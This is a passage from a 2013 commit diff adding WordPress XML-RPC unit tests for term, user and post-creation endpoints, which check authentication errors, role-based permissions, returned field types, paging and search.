+               $this->assertInternalType( 'array', $this->term );
+       }
+
+       function test_invalid_username_password() {
+               $result = $this->myxmlrpcserver->wp_getTerm( array( 1, 'username', 'password', 'category', 1 ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 403, $result->code );
+       }
+
+       function test_empty_taxonomy() {
+               $this->make_user_by_role( 'editor' );
+
+               $result = $this->myxmlrpcserver->wp_getTerm( array( 1, 'editor', 'editor', '', 0 ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 403, $result->code );
+               $this->assertEquals( __( 'Invalid taxonomy' ), $result->message );
+       }
+
+       function test_invalid_taxonomy() {
+               $this->make_user_by_role( 'editor' );
+
+               $result = $this->myxmlrpcserver->wp_getTerm( array( 1, 'editor', 'editor', 'not_existing', 0 ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 403, $result->code );
+               $this->assertEquals( __( 'Invalid taxonomy' ), $result->message );
+       }
+
+       function test_incapable_user() {
+               $this->make_user_by_role( 'subscriber' );
+
+               $result = $this->myxmlrpcserver->wp_getTerm( array( 1, 'subscriber', 'subscriber', 'category', $this->term['term_id'] ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 401, $result->code );
+               $this->assertEquals( __( 'You are not allowed to assign terms in this taxonomy.' ), $result->message );
+       }
+
+
+       function test_empty_term() {
+               $this->make_user_by_role( 'editor' );
+
+               $result = $this->myxmlrpcserver->wp_getTerm( array( 1, 'editor', 'editor', 'category', '' ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 500, $result->code );
+               $this->assertEquals( __('Empty Term'), $result->message );
+       }
+
+       function test_invalid_term() {
+               $this->make_user_by_role( 'editor' );
+
+               $result = $this->myxmlrpcserver->wp_getTerm( array( 1, 'editor', 'editor', 'category', 9999 ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 404, $result->code );
+               $this->assertEquals( __('Invalid term ID'), $result->message );
+       }
+
+       function test_valid_term() {
+               $this->make_user_by_role( 'editor' );
+
+               $term = get_term( $this->term['term_id'], 'category', ARRAY_A );
+
+               $result = $this->myxmlrpcserver->wp_getTerm( array( 1, 'editor', 'editor', 'category', $this->term['term_id'] ) );
+
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( $result, $term );
+
+               // Check DataTypes
+               $this->assertInternalType( 'string', $result['name'] );
+               $this->assertInternalType( 'string', $result['slug'] );
+               $this->assertInternalType( 'string', $result['taxonomy'] );
+               $this->assertInternalType( 'string', $result['description'] );
+               $this->assertInternalType( 'int', $result['count'] );
+
+               // We expect all ID's to be strings not integers so we don't return something larger than an XMLRPC integer can describe.
+               $this->assertStringMatchesFormat( '%d', $result['term_id'] );
+               $this->assertStringMatchesFormat( '%d', $result['term_group'] );
+               $this->assertStringMatchesFormat( '%d', $result['term_taxonomy_id'] );
+               $this->assertStringMatchesFormat( '%d', $result['parent'] );
+
+               // Check Data
+               $this->assertEquals( 0, $result['count'] );
+               $this->assertEquals( $term['name'], $result['name'] );
+               $this->assertEquals( $term['slug'], $result['slug'] );
+               $this->assertEquals( 'category', $result['taxonomy'] );
+               $this->assertEquals( $term['description'], $result['description'] );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsxmlrpcwpgetTermsphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/xmlrpc/wp/getTerms.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/xmlrpc/wp/getTerms.php                         (rev 0)
+++ trunk/tests/tests/xmlrpc/wp/getTerms.php    2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,149 @@
</span><ins>+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_wp_getTerms extends WP_XMLRPC_UnitTestCase {
+
+       function test_invalid_username_password() {
+               $result = $this->myxmlrpcserver->wp_getTerms( array( 1, 'username', 'password', 'category' ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 403, $result->code );
+       }
+
+       function test_empty_taxonomy() {
+               $this->make_user_by_role( 'editor' );
+
+               $result = $this->myxmlrpcserver->wp_getTerms( array( 1, 'editor', 'editor', '' ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 403, $result->code );
+               $this->assertEquals( __( 'Invalid taxonomy' ), $result->message );
+       }
+
+       function test_invalid_taxonomy() {
+               $this->make_user_by_role( 'editor' );
+
+               $result = $this->myxmlrpcserver->wp_getTerms( array( 1, 'editor', 'editor', 'not_existing' ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 403, $result->code );
+               $this->assertEquals( __( 'Invalid taxonomy' ), $result->message );
+       }
+
+       function test_incapable_user() {
+               $this->make_user_by_role( 'subscriber' );
+
+               $result = $this->myxmlrpcserver->wp_getTerms( array( 1, 'subscriber', 'subscriber', 'category' ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 401, $result->code );
+               $this->assertEquals( __( 'You are not allowed to assign terms in this taxonomy.' ), $result->message );
+       }
+
+       function test_valid_terms() {
+               $this->make_user_by_role( 'editor' );
+
+               // make sure there's at least one category
+               $cat = wp_insert_term( 'term' . rand_str() , 'category' );
+
+               $results = $this->myxmlrpcserver->wp_getTerms( array( 1, 'editor', 'editor', 'category' ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $results );
+
+               foreach( $results as $term ) {
+                       $this->assertInternalType( 'int', $term['count'] );
+
+                       // We expect all other IDs to be strings not integers so we don't return something larger than an XMLRPC integer can describe.
+                       $this->assertStringMatchesFormat( '%d', $term['term_id'] );
+                       $this->assertStringMatchesFormat( '%d', $term['term_group'] );
+                       $this->assertStringMatchesFormat( '%d', $term['term_taxonomy_id'] );
+                       $this->assertStringMatchesFormat( '%d', $term['parent'] );
+               }
+       }
+
+       function test_custom_taxonomy() {
+               $this->make_user_by_role( 'editor' );
+
+               // create a taxonomy and some terms for it
+               $tax_name = 'wp_getTerms_custom_taxonomy';
+               $num_terms = 12;
+               register_taxonomy( $tax_name, 'post' );
+               for( $i = 0; $i < $num_terms; $i++ )
+                       wp_insert_term( rand_str( 10 ), $tax_name );
+
+
+               // test fetching all terms
+               $results = $this->myxmlrpcserver->wp_getTerms( array( 1, 'editor', 'editor', $tax_name ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $results );
+
+               $this->assertEquals( $num_terms, count( $results ) );
+               foreach ( $results as $term ) {
+                       $this->assertEquals( $tax_name, $term['taxonomy'] );
+               }
+
+               // test paged results
+               $filter = array( 'number' => 5 );
+               $results2 = $this->myxmlrpcserver->wp_getTerms( array( 1, 'editor', 'editor', $tax_name, $filter ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $results );
+               $this->assertEquals( 5, count( $results2 ) );
+               $this->assertEquals( $results[1]['term_id'], $results2[1]['term_id'] ); // check one of the terms
+
+               $filter['offset'] = 10;
+               $results3 = $this->myxmlrpcserver->wp_getTerms( array( 1, 'editor', 'editor', $tax_name, $filter ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $results3 );
+               $this->assertEquals( $num_terms - 10, count( $results3 ) );
+               $this->assertEquals( $results[11]['term_id'], $results3[1]['term_id'] );
+
+               // test hide_empty (since none have been attached to posts yet, all should be hidden
+               $filter = array( 'hide_empty' => true );
+               $results4 = $this->myxmlrpcserver->wp_getTerms( array( 1, 'editor', 'editor', $tax_name, $filter ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $results4 );
+               $this->assertEquals( 0, count( $results4 ) );
+
+               unset($GLOBALS['wp_taxonomies'][$tax_name]);
+       }
+
+       function test_term_ordering() {
+               $this->make_user_by_role( 'editor' );
+
+               $cat1 = wp_create_category( 'wp.getTerms_' . rand_str( 16 ) );
+               $cat2 = wp_create_category( 'wp.getTerms_' . rand_str( 16 ) );
+
+               $this->factory->post->create_many( 5, array( 'post_category' => array( $cat1 ) ) );
+               $this->factory->post->create_many( 3, array( 'post_category' => array( $cat2 ) ) );
+
+               $filter = array( 'orderby' => 'count', 'order' => 'DESC' );
+               $results = $this->myxmlrpcserver->wp_getTerms( array( 1, 'editor', 'editor', 'category', $filter ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $results );
+               $this->assertNotEquals( 0, count( $results ) );
+
+               foreach( $results as $term ) {
+                       if ( $term['term_id'] == $cat1 ) {
+                               break;  // found cat1 first as expected
+                       }
+                       else if ( $term['term_id'] == $cat2 ) {
+                               $this->assertFalse( false, 'Incorrect category ordering.' );
+                       }
+               }
+       }
+
+       function test_terms_search() {
+               $this->make_user_by_role( 'editor' );
+
+               $name = rand_str( 30 );
+               $name_id = wp_create_category( $name );
+
+               // search by full name
+               $filter = array( 'search' => $name );
+               $results = $this->myxmlrpcserver->wp_getTerms( array( 1, 'editor', 'editor', 'category', $filter ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $results );
+               $this->assertEquals( 1, count( $results ) );
+               $this->assertEquals( $name, $results[0]['name'] );
+               $this->assertEquals( $name_id, $results[0]['term_id'] );
+
+               // search by partial name
+               $filter = array( 'search' => substr( $name, 0, 10 ) );
+               $results2 = $this->myxmlrpcserver->wp_getTerms( array( 1, 'editor', 'editor', 'category', $filter ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $results2 );
+               $this->assertEquals( 1, count( $results2 ) );
+               $this->assertEquals( $name, $results2[0]['name'] );
+               $this->assertEquals( $name_id, $results2[0]['term_id'] );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsxmlrpcwpgetUserphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/xmlrpc/wp/getUser.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/xmlrpc/wp/getUser.php                          (rev 0)
+++ trunk/tests/tests/xmlrpc/wp/getUser.php     2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,144 @@
</span><ins>+<?php
+
+/**
+ * @group xmlrpc
+ * @group user
+ */
+class Tests_XMLRPC_wp_getUser extends WP_XMLRPC_UnitTestCase {
+       protected $administrator_id;
+
+       function setUp() {
+               parent::setUp();
+
+               // create a super-admin
+               $this->administrator_id = $this->make_user_by_role( 'administrator' );
+               if ( is_multisite() )
+                       grant_super_admin( $this->administrator_id );
+       }
+
+       function tearDown() {
+               if ( is_multisite() )
+                       revoke_super_admin( $this->administrator_id );
+
+               parent::tearDown();
+       }
+
+       function test_invalid_username_password() {
+               $result = $this->myxmlrpcserver->wp_getUser( array( 1, 'username', 'password', 1 ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 403, $result->code );
+       }
+
+       function test_invalid_user() {
+               $result = $this->myxmlrpcserver->wp_getUser( array( 1, 'administrator', 'administrator', 34902348908234 ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 404, $result->code );
+       }
+
+       function test_incapable_user() {
+               $this->make_user_by_role( 'subscriber' );
+               $editor_id = $this->make_user_by_role( 'editor' );
+
+               $result = $this->myxmlrpcserver->wp_getUser( array( 1, 'subscriber', 'subscriber', $editor_id ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 401, $result->code );
+       }
+
+       function test_subscriber_self() {
+               $subscriber_id = $this->make_user_by_role( 'subscriber' );
+
+               $result = $this->myxmlrpcserver->wp_getUser( array( 1, 'subscriber', 'subscriber', $subscriber_id ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( $subscriber_id, $result['user_id'] );
+       }
+
+       function test_valid_user() {
+               $registered_date = strtotime( '-1 day' );
+               $user_data = array(
+                       'user_login' => 'getusertestuser',
+                       'user_pass' => rand_str(),
+                       'first_name' => rand_str(),
+                       'last_name' => rand_str(),
+                       'description' => rand_str( 100 ),
+                       'user_email' => 'getUserTestUser@example.com',
+                       'nickname' => rand_str(),
+                       'user_nicename' => rand_str(),
+                       'display_name' => rand_str(),
+                       'user_url' => 'http://www.example.com/testuser',
+                       'role' => 'author',
+                       'aim' => rand_str(),
+                       'user_registered' => strftime( "%Y-%m-%d %H:%M:%S", $registered_date )
+               );
+               $user_id = wp_insert_user( $user_data );
+
+               $result = $this->myxmlrpcserver->wp_getUser( array( 1, 'administrator', 'administrator', $user_id ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+
+               // check data types
+               $this->assertInternalType( 'string', $result['user_id'] );
+               $this->assertStringMatchesFormat( '%d', $result['user_id'] );
+               $this->assertInternalType( 'string', $result['username'] );
+               $this->assertInternalType( 'string', $result['first_name'] );
+               $this->assertInternalType( 'string', $result['last_name'] );
+               $this->assertInstanceOf( 'IXR_Date', $result['registered'] );
+               $this->assertInternalType( 'string', $result['bio'] );
+               $this->assertInternalType( 'string', $result['email'] );
+               $this->assertInternalType( 'string', $result['nickname'] );
+               $this->assertInternalType( 'string', $result['nicename'] );
+               $this->assertInternalType( 'string', $result['url'] );
+               $this->assertInternalType( 'string', $result['display_name'] );
+               $this->assertInternalType( 'array', $result['roles'] );
+
+               // check expected values
+               $this->assertEquals( $user_id, $result['user_id'] );
+               $this->assertEquals( $user_data['user_login'], $result['username'] );
+               $this->assertEquals( $user_data['first_name'], $result['first_name'] );
+               $this->assertEquals( $user_data['last_name'], $result['last_name'] );
+               $this->assertEquals( $registered_date, $result['registered']->getTimestamp() );
+               $this->assertEquals( $user_data['description'], $result['bio'] );
+               $this->assertEquals( $user_data['user_email'], $result['email'] );
+               $this->assertEquals( $user_data['nickname'], $result['nickname'] );
+               $this->assertEquals( $user_data['user_nicename'], $result['nicename'] );
+               $this->assertEquals( $user_data['user_url'], $result['url'] );
+               $this->assertEquals( $user_data['display_name'], $result['display_name'] );
+               $this->assertEquals( $user_data['user_login'], $result['username'] );
+               $this->assertContains( $user_data['role'], $result['roles'] );
+
+               wp_delete_user( $user_id );
+       }
+
+       function test_no_fields() {
+               $editor_id = $this->make_user_by_role( 'editor' );
+
+               $result = $this->myxmlrpcserver->wp_getUser( array( 1, 'administrator', 'administrator', $editor_id, array() ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( $editor_id, $result['user_id'] );
+
+               $expected_fields = array( 'user_id' );
+               $this->assertEquals( $expected_fields, array_keys( $result ) );
+       }
+
+       function test_basic_fields() {
+               $editor_id = $this->make_user_by_role( 'editor' );
+
+               $result = $this->myxmlrpcserver->wp_getUser( array( 1, 'administrator', 'administrator', $editor_id, array( 'basic' ) ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( $editor_id, $result['user_id'] );
+
+               $expected_fields = array( 'user_id', 'username', 'email', 'registered', 'display_name', 'nicename' );
+               $this->assertEquals( sort( $expected_fields ), sort( array_keys( $result ) ) );
+       }
+
+       function test_arbitrary_fields() {
+               $editor_id = $this->make_user_by_role( 'editor' );
+
+               $fields = array( 'email', 'bio', 'user_contacts' );
+
+               $result = $this->myxmlrpcserver->wp_getUser( array( 1, 'administrator', 'administrator', $editor_id, $fields ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( $editor_id, $result['user_id'] );
+
+               $expected_fields = array_merge( array( 'user_id' ), $fields );
+               $this->assertEquals( sort( $expected_fields ), sort( array_keys( $result ) ) );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsxmlrpcwpgetUsersphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/xmlrpc/wp/getUsers.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/xmlrpc/wp/getUsers.php                         (rev 0)
+++ trunk/tests/tests/xmlrpc/wp/getUsers.php    2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,115 @@
</span><ins>+<?php
+
+/**
+ * @group xmlrpc
+ * @group user
+ */
+class Tests_XMLRPC_wp_getUsers extends WP_XMLRPC_UnitTestCase {
+
+       function test_invalid_username_password() {
+               $results = $this->myxmlrpcserver->wp_getUsers( array( 1, 'username', 'password' ) );
+               $this->assertInstanceOf( 'IXR_Error', $results );
+               $this->assertEquals( 403, $results->code );
+       }
+
+       function test_incapable_user() {
+               $this->make_user_by_role( 'subscriber' );
+
+               $results = $this->myxmlrpcserver->wp_getUsers( array( 1, 'subscriber', 'subscriber' ) );
+               $this->assertInstanceOf( 'IXR_Error', $results );
+               $this->assertEquals( 401, $results->code );
+       }
+
+       function test_capable_user() {
+               $this->make_user_by_role( 'administrator' );
+
+               $result = $this->myxmlrpcserver->wp_getUsers( array( 1, 'administrator', 'administrator' ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+
+               // check data types
+               $this->assertInternalType( 'string', $result[0]['user_id'] );
+               $this->assertStringMatchesFormat( '%d', $result[0]['user_id'] );
+               $this->assertInternalType( 'string', $result[0]['username'] );
+               $this->assertInternalType( 'string', $result[0]['first_name'] );
+               $this->assertInternalType( 'string', $result[0]['last_name'] );
+               $this->assertInstanceOf( 'IXR_Date', $result[0]['registered'] );
+               $this->assertInternalType( 'string', $result[0]['bio'] );
+               $this->assertInternalType( 'string', $result[0]['email'] );
+               $this->assertInternalType( 'string', $result[0]['nickname'] );
+               $this->assertInternalType( 'string', $result[0]['nicename'] );
+               $this->assertInternalType( 'string', $result[0]['url'] );
+               $this->assertInternalType( 'string', $result[0]['display_name'] );
+               $this->assertInternalType( 'array', $result[0]['roles'] );
+       }
+
+       function test_invalid_role() {
+               $administrator_id = $this->make_user_by_role( 'administrator' );
+               if ( is_multisite() )
+                       grant_super_admin( $administrator_id );
+
+               $filter = array( 'role' => rand_str() );
+               $results = $this->myxmlrpcserver->wp_getUsers( array( 1, 'administrator', 'administrator', $filter ) );
+               $this->assertInstanceOf( 'IXR_Error', $results );
+               $this->assertEquals( 403, $results->code );
+       }
+
+       function test_role_filter() {
+               $author_id = $this->make_user_by_role( 'author' );
+               $editor_id = $this->make_user_by_role( 'editor' );
+               $administrator_id = $this->make_user_by_role( 'administrator' );
+               if ( is_multisite() )
+                       grant_super_admin( $administrator_id );
+
+               // test a single role ('editor')
+               $filter = array( 'role' => 'editor' );
+               $results = $this->myxmlrpcserver->wp_getUsers( array( 1, 'administrator', 'administrator', $filter ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $results );
+               $this->assertCount( 1, $results );
+               $this->assertEquals( $editor_id, $results[0]['user_id'] );
+
+               // test 'authors', which should return all non-subscribers
+               $filter2 = array( 'who' => 'authors' );
+               $results2 = $this->myxmlrpcserver->wp_getUsers( array( 1, 'administrator', 'administrator', $filter2 ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $results2 );
+               $this->assertCount( 3, array_intersect( array( $author_id, $editor_id, $administrator_id ), wp_list_pluck( $results2, 'user_id' ) ) );
+       }
+
+       function test_paging_filters() {
+               $administrator_id = $this->make_user_by_role( 'administrator' );
+               if ( is_multisite() )
+                       grant_super_admin( $administrator_id );
+
+               $this->factory->user->create_many( 13 );
+
+               $user_ids = get_users( array( 'fields' => 'ID' ) );
+
+               $users_found = array();
+               $page_size = floor( count( $user_ids ) / 3 );
+
+               $filter = array( 'number' => $page_size, 'offset' => 0 );
+               do {
+                       $presults = $this->myxmlrpcserver->wp_getUsers( array( 1, 'administrator', 'administrator', $filter ) );
+                       foreach ( $presults as $user ) {
+                               $users_found[] = $user['user_id'];
+                       }
+                       $filter['offset'] += $page_size;
+               } while ( count( $presults ) > 0 );
+
+               // verify that $user_ids matches $users_found
+               $this->assertEquals( 0, count( array_diff( $user_ids, $users_found ) ) );
+       }
+
+       function test_order_filters() {
+               $this->make_user_by_role( 'administrator' );
+
+               $filter = array( 'orderby' => 'email', 'order' => 'ASC' );
+               $results = $this->myxmlrpcserver->wp_getUsers( array( 1, 'administrator', 'administrator', $filter ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $results );
+
+               $last_email = '';
+               foreach ( $results as $user ) {
+                       $this->assertLessThanOrEqual( 0, strcmp( $last_email, $user['email'] ) );
+                       $last_email = $user['email'];
+               }
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsxmlrpcwpnewPostphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/xmlrpc/wp/newPost.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/xmlrpc/wp/newPost.php                          (rev 0)
+++ trunk/tests/tests/xmlrpc/wp/newPost.php     2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,308 @@
</span><ins>+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_wp_newPost extends WP_XMLRPC_UnitTestCase {
+
+       function test_invalid_username_password() {
+               $result = $this->myxmlrpcserver->wp_newPost( array( 1, 'username', 'password', array() ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 403, $result->code );
+       }
+
+       function test_incapable_user() {
+               $this->make_user_by_role( 'subscriber' );
+
+               $result = $this->myxmlrpcserver->wp_newPost( array( 1, 'subscriber', 'subscriber', array() ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 401, $result->code );
+       }
+
+       function test_no_content() {
+               $this->make_user_by_role( 'author' );
+
+               $result = $this->myxmlrpcserver->wp_newPost( array( 1, 'author', 'author', array() ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 500, $result->code );
+               $this->assertEquals( 'Content, title, and excerpt are empty.', $result->message );
+       }
+
+       function test_basic_content() {
+               $this->make_user_by_role( 'author' );
+
+               $post = array( 'post_title' => 'Test' );
+               $result = $this->myxmlrpcserver->wp_newPost( array( 1, 'author', 'author', $post ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertStringMatchesFormat( '%d', $result );
+       }
+
+       function test_ignore_id() {
+               $this->make_user_by_role( 'author' );
+
+               $post = array( 'post_title' => 'Test', 'ID' => 103948 );
+               $result = $this->myxmlrpcserver->wp_newPost( array( 1, 'author', 'author', $post ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertNotEquals( '103948', $result );
+       }
+
+       function test_capable_publish() {
+               $this->make_user_by_role( 'author' );
+
+               $post = array( 'post_title' => 'Test', 'post_status' => 'publish' );
+               $result = $this->myxmlrpcserver->wp_newPost( array( 1, 'author', 'author', $post ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+       }
+
+       function test_incapable_publish() {
+               $this->make_user_by_role( 'contributor' );
+
+               $post = array( 'post_title' => 'Test', 'post_status' => 'publish' );
+               $result = $this->myxmlrpcserver->wp_newPost( array( 1, 'contributor', 'contributor', $post ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 401, $result->code );
+       }
+
+       function test_capable_private() {
+               $this->make_user_by_role( 'editor' );
+
+               $post = array( 'post_title' => 'Test', 'post_status' => 'private' );
+               $result = $this->myxmlrpcserver->wp_newPost( array( 1, 'editor', 'editor', $post ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+       }
+
+       function test_incapable_private() {
+               $this->make_user_by_role( 'contributor' );
+
+               $post = array( 'post_title' => 'Test', 'post_status' => 'private' );
+               $result = $this->myxmlrpcserver->wp_newPost( array( 1, 'contributor', 'contributor', $post ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 401, $result->code );
+       }
+
+       function test_capable_other_author() {
+               $other_author_id = $this->make_user_by_role( 'author' );
+               $this->make_user_by_role( 'editor' );
+
+               $post = array( 'post_title' => 'Test', 'post_author' => $other_author_id );
+               $result = $this->myxmlrpcserver->wp_newPost( array( 1, 'editor', 'editor', $post ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+       }
+
+       function test_incapable_other_author() {
+               $other_author_id = $this->make_user_by_role( 'author' );
+               $this->make_user_by_role( 'contributor' );
+
+               $post = array( 'post_title' => 'Test', 'post_author' => $other_author_id );
+               $result = $this->myxmlrpcserver->wp_newPost( array( 1, 'contributor', 'contributor', $post ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 401, $result->code );
+       }
+
+       function test_invalid_author() {
+               $this->make_user_by_role( 'editor' );
+
+               $post = array( 'post_title' => 'Test', 'post_author' => 99999999 );
+               $result = $this->myxmlrpcserver->wp_newPost( array( 1, 'editor', 'editor', $post ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 404, $result->code );
+       }
+
+       function test_empty_author() {
+               $my_author_id = $this->make_user_by_role( 'author' );
+
+               $post = array( 'post_title' => 'Test' );
+               $result = $this->myxmlrpcserver->wp_newPost( array( 1, 'author', 'author', $post ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertStringMatchesFormat( '%d', $result );
+
+               $out = get_post( $result );
+               $this->assertEquals( $my_author_id, $out->post_author );
+               $this->assertEquals( 'Test', $out->post_title );
+       }
+
+       function test_post_thumbnail() {
+               add_theme_support( 'post-thumbnails' );
+
+               $this->make_user_by_role( 'author' );
+
+               // create attachment
+               $filename = ( DIR_TESTDATA.'/images/a2-small.jpg' );
+               $contents = file_get_contents( $filename );
+               $upload = wp_upload_bits( $filename, null, $contents );
+               $this->assertTrue( empty( $upload['error'] ) );
+
+               $attachment = array(
+                       'post_title' => 'Post Thumbnail',
+                       'post_type' => 'attachment',
+                       'post_mime_type' => 'image/jpeg',
+                       'guid' => $upload['url']
+               );
+               $attachment_id = wp_insert_attachment( $attachment, $upload['file'] );
+
+               $post = array( 'post_title' => 'Post Thumbnail Test', 'post_thumbnail' => $attachment_id );
+               $result = $this->myxmlrpcserver->wp_newPost( array( 1, 'author', 'author', $post ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( $attachment_id, get_post_meta( $result, '_thumbnail_id', true ) );
+
+               remove_theme_support( 'post-thumbnails' );
+       }
+
+       function test_invalid_post_status() {
+               $this->make_user_by_role( 'author' );
+
+               $post = array( 'post_title' => 'Test', 'post_status' => 'foobar_status' );
+               $result = $this->myxmlrpcserver->wp_newPost( array( 1, 'author', 'author', $post ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 'draft', get_post_status( $result ) );
+       }
+
+       function test_incapable_sticky() {
+               $this->make_user_by_role( 'contributor' );
+
+               $post = array( 'post_title' => 'Test', 'sticky' => true );
+               $result = $this->myxmlrpcserver->wp_newPost( array( 1, 'contributor', 'contributor', $post ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 401, $result->code );
+       }
+
+       function test_capable_sticky() {
+               $this->make_user_by_role( 'editor' );
+
+               $post = array( 'post_title' => 'Test', 'sticky' => true );
+               $result = $this->myxmlrpcserver->wp_newPost( array( 1, 'editor', 'editor', $post ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertTrue( is_sticky( $result ) );
+       }
+
+       function test_private_sticky() {
+               $this->make_user_by_role( 'editor' );
+
+               $post = array( 'post_title' => 'Test', 'post_status' => 'private', 'sticky' => true );
+               $result = $this->myxmlrpcserver->wp_newPost( array( 1, 'editor', 'editor', $post ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 401, $result->code );
+       }
+
+       function test_post_format() {
+               $this->make_user_by_role( 'editor' );
+
+               $post = array( 'post_title' => 'Test', 'post_format' => 'quote' );
+               $result = $this->myxmlrpcserver->wp_newPost( array( 1, 'editor', 'editor', $post ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 'quote', get_post_format( $result ) );
+       }
+
+       function test_invalid_post_format() {
+               $this->make_user_by_role( 'editor' );
+
+               $post = array( 'post_title' => 'Test', 'post_format' => 'tumblr' );
+               $result = $this->myxmlrpcserver->wp_newPost( array( 1, 'editor', 'editor', $post ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( '', get_post_format( $result ) );
+       }
+
+       function test_invalid_taxonomy() {
+               $this->make_user_by_role( 'editor' );
+
+               $post = array(
+                       'post_title' => 'Test',
+                       'terms' => array(
+                               'foobar_nonexistant' => array( 1 )
+                       )
+               );
+               $result = $this->myxmlrpcserver->wp_newPost( array( 1, 'editor', 'editor', $post ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 401, $result->code );
+
+               $post2 = array(
+                       'post_title' => 'Test',
+                       'terms_names' => array(
+                               'foobar_nonexistant' => array( 1 )
+                       )
+               );
+               $result2 = $this->myxmlrpcserver->wp_newPost( array( 1, 'editor', 'editor', $post2 ) );
+               $this->assertInstanceOf( 'IXR_Error', $result2 );
+               $this->assertEquals( 401, $result2->code );
+       }
+
+       function test_invalid_term_id() {
+               $this->make_user_by_role( 'editor' );
+
+               $post = array(
+                       'post_title' => 'Test',
+                       'terms' => array(
+                               'post_tag' => array( 1390490823409 )
+                       )
+               );
+               $result = $this->myxmlrpcserver->wp_newPost( array( 1, 'editor', 'editor', $post ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 403, $result->code );
+       }
+
+       function test_terms() {
+               $this->make_user_by_role( 'editor' );
+
+               $tag1 = wp_create_tag ( rand_str( 30 ) );
+               $this->assertInternalType( 'array', $tag1 );
+               $tag2 = wp_create_tag ( rand_str( 30 ) );
+               $this->assertInternalType( 'array', $tag2 );
+               $tag3 = wp_create_tag ( rand_str( 30 ) );
+               $this->assertInternalType( 'array', $tag3 );
+
+               $post = array(
+                       'post_title' => 'Test',
+                       'terms' => array(
+                               'post_tag' => array( $tag2['term_id'], $tag3['term_id'] )
+                       )
+               );
